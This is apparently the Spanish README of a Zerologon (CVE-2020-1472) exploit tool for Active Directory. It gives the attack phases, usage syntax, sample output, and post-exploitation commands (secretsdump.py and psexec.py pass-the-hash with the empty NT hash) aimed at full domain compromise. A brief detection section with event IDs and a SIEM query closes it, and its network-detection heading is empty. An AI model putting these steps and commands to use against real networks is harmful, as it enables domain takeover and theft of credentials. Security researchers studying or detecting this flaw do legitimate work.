
Zerologon (CVE-2020-1472) Aplicación de Prueba de Concepto - Herramienta de explotación de vulnerabilidad crítica de Active Directory.
Este proyecto es una implementación de la vulnerabilidad Zerologon (CVE-2020-1472), una de las vulnerabilidades de seguridad más críticas de Active Directory. Esta vulnerabilidad permite a un atacante no autenticado comprometer todo el dominio de Active Directory restableciendo la contraseña de la cuenta de máquina del Controlador de Dominio.
Zerologon es un fallo criptográfico en el Protocolo Remoto Netlogon de Microsoft (MS-NRPC). La vulnerabilidad existe en la forma en que Netlogon utiliza el cifrado AES-CFB8 con un vector de inicialización (IV) codificado de cero.
Resumen técnico:
1. Selección del Objetivo
└─> Identificar el Controlador de Dominio (FQDN, nombre NetBIOS, cuenta de máquina)
2. Fase de Desafío (I_NetServerReqChallenge)
└─> Enviar desafío de cliente todo ceros (0x0000000000000000)
└─> Recibir desafío del servidor
3. Fase de Autenticación (I_NetServerAuthenticate2)
└─> Intentar autenticación con credenciales nulas
└─> Repetir hasta tener éxito (~1/256 de tasa de éxito por intento)
4. Fase de Restablecimiento de Contraseña (I_NetServerPasswordSet2)
└─> Restablecer la contraseña de la cuenta de máquina del DC a vacío
└─> Nuevo hash NT: 31d6cfe0d16ae931b73c59d7e0c089c0 (contraseña vacía)
5. Post-Explotación
└─> Usar Pass-the-Hash con credenciales vacías
└─> Se logra el compromiso total del dominio
Usando Visual Studio:
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
Ejemplo:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: Nombre de dominio completamente calificado (FQDN) del Controlador de Dominio objetivoDC_NetBIOS_Name: Nombre NetBIOS del DC (generalmente el nombre del host)Machine_Account_Name: Nombre de la cuenta de máquina (debe terminar con $)Explotación exitosa:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
Explotación fallida (sistema parcheado):
[-] Attack failed after 2000 attempts. Target likely patched.
Después de restablecer exitosamente la contraseña del DC, puedes:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
Detección basada en red:
Detección basada en registros:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
Consultas SIEM:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
Esta herramienta se proporciona solo con fines educativos y de investigación de seguridad autorizados.
El autor NO asume ninguna responsabilidad por el mal uso de este código.
Este proyecto está licenciado bajo la Licencia MIT. Para más información, consulte el archivo LICENSE.